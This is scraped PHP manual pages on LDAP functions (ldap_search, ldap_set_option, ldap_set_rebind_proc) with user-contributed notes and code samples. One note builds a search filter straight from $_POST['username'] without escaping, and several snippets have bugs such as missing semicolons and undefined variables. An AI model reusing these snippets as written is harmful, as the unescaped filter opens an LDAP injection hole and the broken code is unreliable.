dwhite at olp dot net 23-Sep-2007 02:30
With the patch introduced in the bug below (which has been included in CVS), the parameters for this function should be:

bool ldap_sasl_bind ( resource $link [, string $binddn [, string $password [, string $sasl_mech [, string $sasl_realm [, string $sasl_authc_id [, string $sasl_authz_id [, string $props]]]]]]] )

Some example calls:

$r=ldap_sasl_bind ( $ds, NULL, 'mysecret', 'DIGEST-MD5', NULL, 'jimmy');

With authz_id, specifying a dn:
$r=ldap_sasl_bind ( $ds, NULL, 'mysecret', 'DIGEST-MD5', NULL, 'jimmy', 'dn:uid=tommy,ou=people,dc=example,dc=com');

With authz_id, specifying a SASL username:
$r=ldap_sasl_bind ( $ds, NULL, 'mysecret', 'DIGEST-MD5', NULL, 'jimmy', 'u:tommy');

Also, since SASL authentication was introduced in LDAP version 3,
you may need to explicitly set the version number with:
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
dahgdevash at gmail dot com 26-May-2007 07:44
Bug , the function parameters are sent incorrectly to the server
Look at:
http://bugs.php.net/bug.php?id=39291


Search LDAP tree

  • « ldap_sasl_bind
  • ldap_set_option »
  • PHP Manual
  • LDAP Functions
  • Search LDAP tree

ldap_search

(PHP 4, PHP 5)

ldap_search — Search LDAP tree

Description

resource ldap_search ( resource $link_identifier , string $base_dn , string $filter [, array $attributes [, int $attrsonly [, int $sizelimit [, int $timelimit [, int $deref ]]]]] )

Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.

From 4.0.5 on it's also possible to do parallel searches. To do this you use an array of link identifiers, rather than a single identifier, as the first argument. If you don't want the same base DN and the same filter for all the searches, you can also use an array of base DNs and/or an array of filters. Those arrays must be of the same size as the link identifier array since the first entries of the arrays are used for one search, the second entries are used for another, and so on. When doing parallel searches an array of search result identifiers is returned, except in case of error, then the entry corresponding to the search will be FALSE. This is very much like the value normally returned, except that a result identifier is always returned when a search was made. There are some rare cases where the normal search returns FALSE while the parallel search returns an identifier.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

base_dn

The base DN for the directory.

filter

The search filter can be simple or advanced, using boolean operators in the format described in the LDAP documentation (see the » Netscape Directory SDK for full information on filters).

attributes

An array of the required attributes, e.g. array("mail", "sn", "cn"). Note that the "dn" is always returned irrespective of which attributes types are requested.

Using this parameter is much more efficient than the default action (which is to return all attributes and their associated values). The use of this parameter should therefore be considered good practice.

attrsonly

Should be set to 1 if only attribute types are wanted. If set to 0 both attributes types and attribute values are fetched which is the default behaviour.

sizelimit

Enables you to limit the count of entries fetched. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset sizelimit. You can set it lower though.

Some directory server hosts will be configured to return no more than a preset number of entries. If this occurs, the server will indicate that it has only returned a partial results set. This also occurs if you use this parameter to limit the count of fetched entries.

timelimit

Sets the number of seconds how long is spend on the search. Setting this to 0 means no limit.

Note:

This parameter can NOT override server-side preset timelimit. You can set it lower though.

deref

Specifies how aliases should be handled during the search. It can be one of the following:

  • LDAP_DEREF_NEVER - (default) aliases are never dereferenced.
  • LDAP_DEREF_SEARCHING - aliases should be dereferenced during the search but not when locating the base object of the search.
  • LDAP_DEREF_FINDING - aliases should be dereferenced when locating the base object but not during the search.
  • LDAP_DEREF_ALWAYS - aliases should be dereferenced always.

Return Values

Returns a search result identifier or FALSE on error.

Examples

The example below retrieves the organizational unit, surname, given name and email address for all people in "My Company" where the surname or given name contains the substring $person. This example uses a boolean filter to tell the server to look for information in more than one attribute.

Example #1 LDAP search

<?php
// $ds is a valid link identifier for a directory server

// $person is all or part of a person's name, eg "Jo"

$dn = "o=My Company, c=US";
$filter="(|(sn=$person*)(givenname=$person*))";
$justthese = array("ou", "sn", "givenname", "mail");

$sr=ldap_search($ds, $dn, $filter, $justthese);

$info = ldap_get_entries($ds, $sr);

echo $info["count"]." entries returned\n";
?>

User Contributed Notes

jayleno at yahoo dot com 16-May-2013 03:28
<?php
set_time_limit(30);
error_reporting(E_ALL);
ini_set('error_reporting', E_ALL);
ini_set('display_errors',1);

// config
$ldapserver = 'svr.domain.com';
$ldapuser      = 'administrator';
$ldappass     = 'PASSWORD_HERE';
$ldaptree    = "OU=SBSUsers,OU=Users,OU=MyBusiness,DC=myDomain,DC=local";

// connect
$ldapconn = ldap_connect($ldapserver) or die("Could not connect to LDAP server.");

if($ldapconn) {
    // binding to ldap server
    $ldapbind = ldap_bind($ldapconn, $ldapuser, $ldappass) or die ("Error trying to bind: ".ldap_error($ldapconn));
    // verify binding
    if ($ldapbind) {
        echo "LDAP bind successful...<br /><br />";

        $result = ldap_search($ldapconn,$ldaptree, "(cn=*)") or die ("Error in search query: ".ldap_error($ldapconn));
        $data = ldap_get_entries($ldapconn, $result);

        // SHOW ALL DATA
        echo '<h1>Dump all data</h1><pre>';
        print_r($data);
        echo '</pre>';

        // iterate over array and print data for each entry
        echo '<h1>Show me the users</h1>';
        for ($i=0; $i<$data["count"]; $i++) {
            //echo "dn is: ". $data[$i]["dn"] ."<br />";
            echo "User: ". $data[$i]["cn"][0] ."<br />";
            if(isset($data[$i]["mail"][0])) {
                echo "Email: ". $data[$i]["mail"][0] ."<br /><br />";
            } else {
                echo "Email: None<br /><br />";
            }
        }
        // print number of entries found
        echo "Number of entries found: " . ldap_count_entries($ldapconn, $result);
    } else {
        echo "LDAP bind failed...";
    }

}

// all done? clean up
ldap_close($ldapconn);
?>
Jean-Loup 02-Feb-2012 03:27
Example of parallel search :

<?php
$basedn=array('dmdName=users,dc=foo,dc=fr','dmdName=users,dc=bar,dc=com');  // two basedn
$filter='(&(objectClass=inetOrgPerson)(uid=*))';  // single filter
$attributes=array('dn','uid','sn');

$cnx = ldap_connect('localhost',389); // single connection
ldap_set_option($cnx, LDAP_OPT_PROTOCOL_VERSION, 3);

ldap_bind($cnx,'uid=root,dc=foo,dc=fr','password');  // authentication on two BDB
ldap_bind($cnx,'uid=root,dc=bar,dc=com','password');

$search = ldap_search(array($cnx,$cnx),$basedn,$filter,$attributes);  // search

// result
for($i=0;$i<count($search);$i++){
    print_r(ldap_get_entries($cnx,$search[$i]));
    print "\n";
}
?>
info at acpower dot biz 19-Sep-2011 12:07
I'm a newbie, so I hope this helps some other newbie with a head scratcher...

This code returned an error of 'No Such Object':

<?php

    $search = ldap_search ($ldapcon, "cn=admin,dc=acpower,dc=biz", "(filters)");

?>

I took out the cn, and magic! it works:

<?php

    $search = ldap_search ($ldapcon, "dc=acpower,dc=biz", "(filters)");

?>
nick 02-Sep-2011 08:09
Results from ActiveDirectory may be ordered by objectSid.
We can get all users for each page size by modify filter.

<?php
// ... connect to ldap
$lastsid='';
while (1) {
    $filter = '(objectClass=user)';
    if (strlen($lastsid)) {
        list($v)=array_values(unpack('V',substr($lastsid,24))); // id for user.
        $s = substr($lastsid,0,24).pack('V',1+$v); // next sid.
        $s = preg_replace('/../','\\\\$0',bin2hex($s)); // escape for fiter
        $filter = '(&'.$filter.'(objectSid>='.$s.'))'; // fiter for next entries.
    }
    $res = ldap_search($ldap,$basedn,$filter,array('objectSid','cn'));
    if (!ldap_count_entries($ldap,$res)) {
        break;
    }
    for ($ent=ldap_first_entry($ldap,$res); $ent; $ent=ldap_next_entry($ldap,$ent)) {
        list($lastsid) = ldap_get_values_len($ldap,$ent,'objectSid');
    }
}
?>
Arnold 11-May-2011 10:35
I have been working on a script where I needed to get all the users who were member of a specific MS AD group. Because of PHP bug #42060 ( http://bugs.php.net/bug.php?id=42060 ) I could not get all the users back who were member of the group.
After googling for a day I found an article and a patch but it required that I downloaded the source code for php 5.1.6 or 5.2.10 run the patch and than recompile the code to fix the problem.
Problem was
1) I am not a Linux goeroe so I was not very comfortable doing this....
2) I am running the script on a production machine with other code using PHP and did not know what the consequence would bee for that code.
3) I could not update PHP anymore because in newer versions this patch would probably not work any more.

But yesterday I saw the light and wrote some code to get around this problem, maybe other people can use it that have the same problem.

<?PHP
$startFilter        = "(&(memberOf=" .$ADGroup. "))";
$startResults        = ldap_search($ldapconnect, $userBase, $startFilter, $attr);
$countResult        = ldap_count_entries($ldapconnect,$startResults);

IF($countResult == 1000 OR $countResult == 1500)
{
    // loop trough the number 97-122 (ASCII number for the characters a-z)
    For($a=97;$a<=122;$a++)
    {
        // translate the number to a character
        $character            = chr($a);
        // the new search filter withs returns all users with a last name starting with $character
        $filter            = "(&(sn=$character*)(memberOf=$ADGroup))";
        $results        = ldap_search($ldapconnect, $userBase, $filter, $attr);
        $countResult2    = ldap_count_entries($ldapconnect,$results);

        // See if the search for all users starting with a specific character still hits the search limit
        // if so than do a new search to find all the users where the last name starts with "aa" and
        // than with "ab", "ac" etc. etc
        // In the best case we can now find 675.324 users per group when the search limit is 1000
        // ((26 * 999  for the fist character) * 26 for the second character)
        // and 1.013.324 when the search limit is 1500
        If($countResult2 == 1000 or $countResult2 == 1500)
        {
            For($b=97;$b<=122;$b++)
            {
                $character2    = chr($b);
                $filter2    = "(&(sn=$character$character2*)(memberOf=$ADGroup))";
                $results2    = ldap_search($ldapconnect, $userBase, $filter2, $attr);
                $count2        = ldap_count_entries($ldapconnect,$results2);
                $entries2    = ldap_get_entries($ldapconnect,$results2);

                // do your thing
            }
        }
        Else
        {
            $entries            = ldap_get_entries($ldapconnect,$results);
            // do your thing
        }
    }
}
else
{
    $entries            = ldap_get_entries($ldapconnect,$startResults);
    // do your thing
}
?>
ben _at_ onshop.co.uk 19-Jan-2010 11:11
Following from my note of 11-Nov-2009 06:56 regarding DN issues when using LDAP instead of the Global Catalog when querying AD, further investigation was showing that although the results were in the packet, I was getting an error instead:

'Search: Can't contact LDAP server' AKA Error 81.

Using more detailed analysis:

ldap_get_option($ds,LDAP_OPT_ERROR_STRING,$error);

echo $error

Displayed:

Referral: ldap://DomainDnsZones.defg.de.bc.ac.uk/ DC=DomainDnsZonesDC=defg,DC=de,DC=abc,DC=ac,DC=uk

By using trial and error, the error went away and results returned when using:

ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ben _at_ onshop_co_uk 11-Nov-2009 07:24
Example to illustrate searching more than one DN (multiple DNs):

<?php
$ds=ldap_connect($ldapserver);

$dn[]='OU=ABC,DC=xyz,DC=ac,DC=uk';
$dn[]='OU=DEF,DC=xyz,DC=ac,DC=uk';

$id[] = $ds;
$id[] = $ds;

$filter = 'samaccountname='.$_POST['username'];

$result = ldap_search($id,$dn,$filter);

$search = false;

foreach ($result as $value) {
    if(ldap_count_entries($ds,$value)>0){
        $search = $value;
        break;
    }
}

if($search){
    $info = ldap_get_entries($ds, $search);
}else{
    $info = 'No results found';
}
?>
chrisbloom7 at gmail dot com 08-Aug-2007 10:18
Here are a couple of resources for proper construction of filters.

http://msdn2.microsoft.com/En-US/library/aa746475.aspx

http://technet.microsoft.com/en-us/library/aa996205.aspx

Before finding these I had been stumped for hours on how to do something like "all users starting with "a" except those from OU 'foo'"
Allie 06-Mar-2007 11:38
I just posted on the ldap_bind, but I figured it couldn't hurt here since this was the first place I stopped when trying to figure out my problem.  My error pointed to ldap_search, but specifying the ldap_connect port was the fix.

When you want to search the entire directory for MS AD, you must specify port 3268 in your bind.  This is also true for apache auth_ldap.

 $ldapserver = ldap_connect($server,3268);
27-Jan-2006 12:53
HOWTO list LDAP users.

This CODE list one user from LDAP tree, but I' like list all user from LDAP one ou=Organization

<?php

$ldaprdn = 'cn=user,dc=domain,dc=org';
$ldappass = 'password';
$sdn = 'cn=user,ou=group,dc=domain,dc=org';

$ldapconn = ldap_connect("ldap://localhost", 389)
or die("Not connect: $ldaphost ");

if ($ldapconn) {

// binding to ldap server
$ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

// verify binding
if ($ldapbind) {
$filter="uid=*";
$justthese = array("uid");

$sr=ldap_read($ldapconn, $srdn, $filter, $justthese);
$entry = ldap_get_entries($ldapconn, $sr);

} else {
echo "LDAP conn ok...";
}

}

ldap_close($ldapconn);

?>
<?php
echo $entry[0]["mail"][0] . " mail adress ";
echo $entry[0]["sn"][0] . " Name ";
?>
cruzfern at chuchuwa dot com dot ar 30-Aug-2005 06:14
The internal attributes (like createTimestamp, modifyTimestamp, etc), don't come by default (when the optional parameter attributes is not set). You have to specify it:

<?
$r=ldap_search($ds,$base,$filter,array("createTimestamp"));
?>
fmouse at fmp dot com 01-Mar-2005 07:53
It appears that the Netscape Directory SDK (developer.netscape.com) referenced for LDAP filter information is no longer accepting connections.   The A copy of RFC 2254 which defines the standard for string representations of LDAP filters can be found  at http://www.ietf.org/rfc/rfc2254.txt
openldap at mail dot doris dot cc 11-Feb-2005 04:54
PHP 4.3.10

I was trying to do an ldapsearch without a basedn.  First, I tried with ' ', as suggested above, but it gave me invalid dn syntax error.

ie:
$sr=ldap_search($ds, ' ', $filter);
Warning: ldap_search(): Search: Invalid DN syntax in ...

Then I changed it to
$sr=ldap_search($ds, "", $filter);

Which gave me the following error:
Warning: ldap_search(): Search: No such object in ...

With that I then modified my ldap.conf file and commented out the BASE field
#BASE   dc=example, dc=com

Then it worked!

So it looks like if you supply a blank basedn, then it will use your default basedn in ldap.conf.
rsu_friend at yahoo dot com 11-Feb-2005 10:03
I was doing a ldap_search with
$searchbasedn = "miDomainName=" . $_SESSION['selectDomain'] ."," . LDAP_DOMAINBASE;
$filter = "(&(mpsAccountNumber=". $acctNumber .")(objectclass=mpsAccountDetails))";
$attributes = array("mpsparentchild");

 $sr = ldap_search($ldapconn, $searchbasedn, $filter,$attributes);

For some reasone this search was failing
but I was able to do successful search only when I gave the search filter as
$filter = "(&(mpsAccountNumber= $acctNumber )(objectclass=mpsAccountDetails))";

I did not get why the ldap_search was not able to search in the first case.
sema at technion dot ac dot il 04-Sep-2004 07:54
In order to perform the searches on Windows 2003 Server Active Directory you have to set the LDAP_OPT_REFERRALS option to 0:

ldap_set_option($ldap, LDAP_OPT_REFERRALS, 0);

Without this, you will get "Operations error" if you try to search the whole AD schema (using root of the domain as a $base_dn).

As opposed to Windows 2000 Server, where this option was optional and only increased the performance.
chester at the dot underground dot com dot au 20-Nov-2003 10:45
If you are searching active directory and are experiencing lag or time outs, it may be that you are being given ldap referrals from the ldap server. The following code will disable this.

<?
ldap_set_option($connect, LDAP_OPT_REFERRALS, 0);
?>
sembiance at cosmicrealms dot com 17-Nov-2003 03:15
When searching for BINARY data (such as an Active Directory objectGUID) you need to escape each hexadecimal character with a backslash.

The following command line run of ldapsearch shows:
ldapsearch -b "dc=blahblah,dc=com" "(objectGUID=\AE\C3\23\35\F7)"

In PHP, you need to escape the escape for the backslash:
ldap_search($ds,"dc=blahblah,dc=com", "(objectGUID=\\AE\\C3\\23\\35\\F7)");
francis dot tyers at hp dot com 10-Nov-2003 04:53
it seems that all fields must be used in lower case even if they are mixed case in the ldapsearch output.

example:

gidNumber: 1010
homeDirectory: /home/dnt

must be:

echo "gid: " . $info[$i]["gidnumber"][0] . "<br>";
echo "home directory: ". $info[$i]["homedirectory"][0] ."<br>";

not ( $info[$i]["homeDirectory"][0] ) etc.
nicolas at atanis dot net 19-Aug-2003 08:17
Here is a little script that make a complete subtree search ( i know a script above seems do that but it doesnt work fine)
This is my version:

Voila ce que j'ai fait aujourd'hui ...

      $ldap_host = "192.168.0.50";
    $ldap_port = "389";
    $base_dn = "dc=fr";
    $filter = "(cn=*)";
    $ldap_user ="cn=admin,dc=fr";
    $ldap_pass = "hellodelu";
    $connect = ldap_connect( $ldap_host, $ldap_port);
    ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);

    $bind = ldap_bind($connect, $ldap_user, $ldap_pass);
    $read = ldap_search($connect, $base_dn, $filter);

    $info = ldap_get_entries($connect, $read);
    echo $info["count"]." entrees retournees<BR><BR>";
    for($ligne = 0; $ligne<$info["count"]; $ligne++)
    {
        for($colonne = 0; $colonne<$info[$ligne]["count"]; $colonne++)
        {
            $data = $info[$ligne][$colonne];
            echo $data.":".$info[$ligne][$data][0]."<BR>";
        }
        echo "<BR>";
    }
ldap_close($connect);

--------
nicolas
me at gavinadams dot org 15-Aug-2003 10:38
Minor clarification on AD LDAP searchs. Small typo in previous example, and does not display multiple values per attribute. Here's the for loop to enumerate all entries, attributes, and values:

$bind = ldap_bind($connect) // asume anon connect or add user/pass
     or exit(">>Could not bind to $ldap_host<<");
$read = ldap_search($connect, $base_dn, $filter)
     or exit(">>Unable to search ldap server<<");
$info = ldap_get_entries($connect, $read);
echo $info["count"]." entries returned<br>";
// $i = entries
// $ii = attributes for entry
// $iii = values per attribute
for ($i = 0; $i<$info["count"]; $i++) {
  for ($ii=0; $ii<$info[$i]["count"]; $ii++){
     $data = $info[$i][$ii];
     for ($iii=0; $iii<$info[$i][$data]["count"]; $iii++) {
       echo $data.":&nbsp;&nbsp;".$info[$i][$data][$iii]."<br>";
     }
  }
echo "<p>"; // separate entries
php @ fccfurn dot com 12-Apr-2003 12:35
To do subtree search from top DN in Active Directory, Make sure you do your ldap_set_option().

<?php
$ldap_host = "pdc.php.net";
$base_dn = "DC=php,DC=net";
$filter = "(cn=Joe User)";
$ldap_user  = "CN=Joe User,OU=Sales,DC=php,DC=net";
$ldap_pass = "pass";
$connect = ldap_connect( $ldap_host, $ldap_port)
         or exit(">>Could not connect to LDAP server<<");
ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($connect, LDAP_OPT_REFERRALS, 0);
$bind = ldap_bind($connect, $ldap_user, $ldap_pass)
      or exit(">>Could not bind to $ldap_host<<");
$read = ldap_search($connect, $base_dn, $filter)
      or exit(">>Unable to search ldap server<<");
$info = ldap_get_entries($connect, $read);
echo $info["count"]." entries returned<p>";
$ii=0;
for ($i=0; $ii<$info[$i]["count"]; $ii++){
    $data = $info[$i][$ii];
    echo $data.":&nbsp;&nbsp;".$info[$i][$data][0]."<br>";
}
ldap_close($connect);
?>
Kamil Kukura <kamk at nexen dot cz> 26-Feb-2003 06:20
When I tried to search with empty base DN on OpenLDAP server which had "" namingContext I got result "no such object". In the log file there was query for dn: dc=example,dc=com (!).
As a workaround, it seems it's enough to feed it with space (' ') as base DN - ldap_search($ds, ' ', '(...filter...)', ...
neumeyed at city dot bloomington dot in dot us 30-Jan-2003 01:50
A previous comment noted: "I've also noticed that the departmentNumber, employeeNumber (and maybe others in inetorgperson.schema) are not returned from a search."

This is incorrect. These attributes are returned, but you must reference them with lowercase names. That is, instead of doing this:

$entries[0]["departmentNumber"][0]

Do this:

$entries[0]["departmentnumber"][0]

This doesn't seem like "correct" behavior to me, but I don't know enough about LDAP to say for sure.
nick dot veitch at futurenet dot co dot 17-Jan-2003 05:59
It might be useful to list here the operators that work:

=         - matches exact value
=*xxx  - matches values ending xxx
=xxx*  - matches values beginning xxx
=*xxx* - matches values containing xxx
=*       - matches all values (if set - NULLS are not returned)

>=xxx  - matches everthing from xxx to end of directory
<=xxx  - matches everything up to xxx in directory

~=xxx      - matches similar entries (not all systems)

Boolean operators for constructing complex search

&(term1)(term2)  - matches term1 AND term2
| (term1)(term2)  - matches term1 OR term2
!(term1)                 - matches NOT term1
&(|(term1)(term2))(!(&(term1)(term2)) - matches XOR term1 term2

some of the more compelx constructions seem to work with varying  degrees of efficiency - sometimes it can be better to filter some of the results with the search and do further filtering in PHP.
emrecio at netscape dot net 01-Oct-2002 05:42
implode(", ",$uentry[0]["rfc822mailalias"]);

doesn't work as expected because "count" is in there... one /must/ use the 'for' loop to cycle through results (discarding "count" element).
jpdalbec at ysu dot edu 09-Sep-2002 04:33
I've found that spaces need to be escaped in search filters ("\20"), at least using the Red Hat PHP 4.1.2 package.  Otherwise no results are returned.
john_taylor_1973 at yahoo dot com 27-Jun-2002 11:26
Try to use ldap_list(), if possible.  It is much faster.  ldap_search searches a scope of LDAP_SCOPE_SUBTREE, but ldap_list searches a scope of just LDAP_SCOPE_ONELEVEL.  This made a big difference on Novell eDirectory 8.6.1, even for a query that only returned 130 objects.  Using an attribute list, the 4th function parameter (of either function), also made queries faster.
01-Sep-2001 04:13
I used the following to retrieve all entries from an ILS (Netmeeting) Server:<p>    $sr=ldap_search($ds, "objectclass=rtperson","(&(cn=%)(objectclass=rtperson))");
<p>Have fun!
<p>Kees
cdaveb at csua dot berkeley dot edu 03-Jan-2001 02:23
FYI, for those doing LDAP searches on Exchange servers, there seems to be some preference in Exchange to disallow searches that aren't initial searches (i.e. only x* will work, not * or *x). I'd been going nuts trying to figure out why I kept getting errors doing * searches.

More info at:
http://www.microsoft.com/Exchange/en/55/help/documents/server/XOG16007.HTM
aa529 at nospamchebucto dot ns dot ca 22-Nov-1999 10:27
Be careful of special characters when generating filters from user input.

*, (, ), \ and NUL should be backslash-escaped. See section 4 of RFC 2254 (I found it here:
http://www.cis.ohio-state.edu/htbin/rfc/rfc2254.html)


Set the value of the given option

  • « ldap_search
  • ldap_set_rebind_proc »
  • PHP Manual
  • LDAP Functions
  • Set the value of the given option

ldap_set_option

(PHP 4 >= 4.0.4, PHP 5)

ldap_set_option — Set the value of the given option

Description

bool ldap_set_option ( resource $link_identifier , int $option , mixed $newval )

Sets the value of the specified option to be newval.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

option

The parameter option can be one of:

Option | Type | Available since
LDAP_OPT_DEREF | integer
LDAP_OPT_SIZELIMIT | integer
LDAP_OPT_TIMELIMIT | integer
LDAP_OPT_NETWORK_TIMEOUT | integer | PHP 5.3.0
LDAP_OPT_PROTOCOL_VERSION | integer
LDAP_OPT_ERROR_NUMBER | integer
LDAP_OPT_REFERRALS | bool
LDAP_OPT_RESTART | bool
LDAP_OPT_HOST_NAME | string
LDAP_OPT_ERROR_STRING | string
LDAP_OPT_MATCHED_DN | string
LDAP_OPT_SERVER_CONTROLS | array
LDAP_OPT_CLIENT_CONTROLS | array

LDAP_OPT_SERVER_CONTROLS and LDAP_OPT_CLIENT_CONTROLS require a list of controls, this means that the value must be an array of controls. A control consists of an oid identifying the control, an optional value, and an optional flag for criticality. In PHP a control is given by an array containing an element with the key oid and string value, and two optional elements. The optional elements are key value with string value and key iscritical with boolean value. iscritical defaults to FALSE if not supplied. See » draft-ietf-ldapext-ldap-c-api-xx.txt for details. See also the second example below.

newval

The new value for the specified option.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Set protocol version

<?php
// $ds is a valid link identifier for a directory server
if (ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
    echo "Using LDAPv3";
} else {
    echo "Failed to set protocol version to 3";
}
?>

Example #2 Set server controls

<?php
// $ds is a valid link identifier for a directory server
// control with no value
$ctrl1 = array("oid" => "1.2.752.58.10.1", "iscritical" => true);
// iscritical defaults to FALSE
$ctrl2 = array("oid" => "1.2.752.58.1.10", "value" => "magic");
// try to set both controls
if (!ldap_set_option($ds, LDAP_OPT_SERVER_CONTROLS, array($ctrl1, $ctrl2))) {
    echo "Failed to set server controls";
}
?>

Notes

Note:

This function is only available when using OpenLDAP 2.x.x OR Netscape Directory SDK x.x.

See Also

  • ldap_get_option() - Get the current value for given option

User Contributed Notes

badbo_5834 at hotmail dot com 11-Dec-2013 05:02
I have the following code, but you do not rename the cn, that may be?

    $TheDN = "cn=Nombre,ou=Addressbook,dc=axia-ldap,dc=net";
    $newRDN = "cn=bill";
    $newParent = "ou=Addressbook,dc=axia-ldap,dc=net";
    ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
    $result = ldap_rename($ds, $TheDN, $newRDN, $newParent, TRUE);
Anonymous 19-Nov-2010 10:56
LDAP options description

http://publib.boulder.ibm.com/infocenter/iseries/v5r3/index.jsp?topic=%2Fapis%2Fldap_set_option.htm
technosophos 07-Mar-2007 11:00
The following flags are valid integer values for the LDAP_OPT_DEREF (as taken from the documentation for ldap_read()):

LDAP_DEREF_NEVER (int 0) - (default) aliases are never dereferenced.

LDAP_DEREF_SEARCHING (int 1) - aliases should be dereferenced during the search but not when locating the base object of the search.

LDAP_DEREF_FINDING (int 2) - aliases should be dereferenced when locating the base object but not during the search.

LDAP_DEREF_ALWAYS (int 3) - aliases should be dereferenced always.

Example:
<?php
ldap_set_option($ds, LDAP_OPT_DEREF, LDAP_DEREF_ALWAYS);
?>

These are defined in the draft C API (presumably from the original LDAP API). See draft-ietf-ldapext-ldap-c-api-xx.txt included in the OpenLDAP source code distribution.
hansfn at gmail dot com 23-May-2006 01:23
Luckily you can turn on debugging before you open a connection:

  ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);

This way you at least can see in the logs if the connection fails...
minusf at gmail dot com 31-Oct-2005 10:59
it seems that ldap_set_option returns 1 for bogus ldap_connect -ions also.
ldap_connect always returns a resource (documented in the
comments of ldap_connect) so it is not possible to check if the
ldap server is there or alive or what.  and because ldap_set_option
must be between ldap_connect and ldap_bind, there seems to
be no sense in checking the return value.

it is a bit strange that ldap_bind is the first function which can
really check if a ldap resource is usable because it is the third
function in line to use when working with openldap.

<?php
$connect = ldap_connect("whatever");
$set = ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);
echo $set;
?>
soulbros at yahoo dot com 27-Feb-2002 12:56
As john.hallam@compaq.com above mentioned ,one  has to set option LDAP_OPT_PROTOCOL_VERSION=3
ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
to use the ldap_rename function.

However, the ldap_set_option() line has to be written immediately after ldap_connect() and before ldap_bind() statements.

Christos Soulios
john dot hallam at compaq dot com 28-Jan-2002 07:00
To get this to work I had to set the LDAP version to 3 using ldap_set_option. Here is an example that might help:

$TheDN = "cn=john smith,ou=users,dc=acme,dc=com";
$newRDN = "cn=bill brown";
$newParent = "ou=users,dc=acme,dc=com";
ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
@$result = ldap_rename($ds, $TheDN, $newRDN, $newParent, TRUE);


Set a callback function to do re-binds on referral chasing

  • « ldap_set_option
  • ldap_sort »
  • PHP Manual
  • LDAP Functions
  • Set a callback function to do re-binds on referral chasing

ldap_set_rebind_proc

(PHP 4 >= 4.2.0, PHP 5)

ldap_set_rebind_proc — Set a callback function to do re-binds on referral chasing

Description

bool ldap_set_rebind_proc ( resource $link , callable $callback )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

mvanbeek at forgetaboutit dot net 18-Feb-2013 09:15
The $referral that is used in the callback function isn't the bind dn, but the dn of the record that was being accessed (or rather it's location on the master server, I guess, if there is a difference in the two), so you need to rebind with your existing credentials. The connection ($ldap) appears to have already been made to the new server, so it is just a rebind process, nothing else more complicated than that. There must be a loop in the underlying library that re-submits the request that prompted the referral until either a success or fail is returned.

I guess if the bind dn you were using in the first place won't let you edit the record on the master, then that is an ldap rather than php issue. However, at least with the rebind procedure you have a way to modify the bind dn first.

So, the rebind process is really quite simple, now that I understand how it works! I was assuming it to be way more complicated. In it's simplest form, this is all you need, assuming your bind $dn and $pass are globals

<?php
function rebind($ldap, $referral) {
    // Set ldap options
    ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ldap, LDAP_OPT_REFERRALS, True);
    ldap_set_rebind_proc($ldap, 'rebind');
    // Rebind
    if (!ldap_bind($ldap, $dn, $pass)) {
            echo 'Could not bind to referral server';
            return 1; // Yes, a 1 means a failure.
        }
    return 0; // Yes, return a 0 on success.
    }
?>
leon at leonux dot co dot za 25-Jun-2011 12:26
I finally have referrals working using the ldap_set_rebind_proc function. Don't connect to the referral server in your callback function. This is done for you. You only have to bind. The callback must return 0 if the bind succeeds or 1 if it fails.

Consider a master - slave LDAP setup where the slave is read-only and refers writes to the master. For the PHP on the slave, you need something like this:

<?php

// Callback function
function rebind($ldap, $referral) {
    // ldap options
    ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ldap, LDAP_OPT_REFERRALS, True);
    ldap_set_rebind_proc($ldap, 'rebind');
    // The referral is of the form:
    //  ldaps://newhost/cn=user,ou=people,dc=example,dc=com
    $refparts = explode('/', $referral);
    if (count($refparts) > 2) {
        // Get the bind dn from referral
        $dn = $refparts[3];
        // Bind to new host
        if (!ldap_bind($ldap, $dn, $pass)) {
            echo 'Could not bind to referral server';
            return 1;
        }
    } else {
        // Try anonymous bind
        if (!ldap_bind($ldap)) {
            echo 'Could not bind to referral server anonymously';
            return 1;
        }
    }
    return 0;
}

// Initial ldap connection to slave server
$ldap_host = 'localhost'
$ds = ldap_connect($ldap_host);
// ldap options
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)
ldap_set_option($ds, LDAP_OPT_REFERRALS, True)
// Set callback function
ldap_set_rebind_proc($ds, 'rebind'))
// bind
ldap_bind($ds, $dn, $pass)
// ldap write
ldap_modify($ds, $dn, $attr);

?>

Accessing passwords and other data from your callback is easier if you use a class method as the callback function. The callback would be initialized like this:

<?php

ldap_set_rebind_proc($ldap, 'MyClass::rebind');

?>
Anonymous 26-Feb-2011 08:40
I have now spent enough time looking at this issue to say that ldap referrals, at least when trying to add, modify or delete a record on a slave server that correctly gives a referral to a master server, does not work in php. My suggestion is turn turn off ldap referrals and write your own add, modify and delete functions with built in referral handling. Something like this:

<?php
function ldap_referral_add($connection,$add_dn,$Add_entry,$bind_dn,$bind_pw)
    {
    $rconnection = $connection;
    $loop = 10; # max number of referral hops.
    # Turn off normal referrals
    ldap_get_option($connection,LDAP_OPT_REFERRALS,$old_referral_setting)
    do
        {
        $response = ldap_add($rconnection,$dn,$entry);
        # We get a success message:
        if ( $response )
            {
            ldap_unbind($rconnection);
            $loop = 0;    # Probably not needed
            ldap_set_option($connection,LDAP_OPT_REFERRALS,$old_referral_setting);
            return true;
            }
        # We get a referral message:
        elseif ( !$response && ldap_errno($rconnection) == 0x0a )
            {
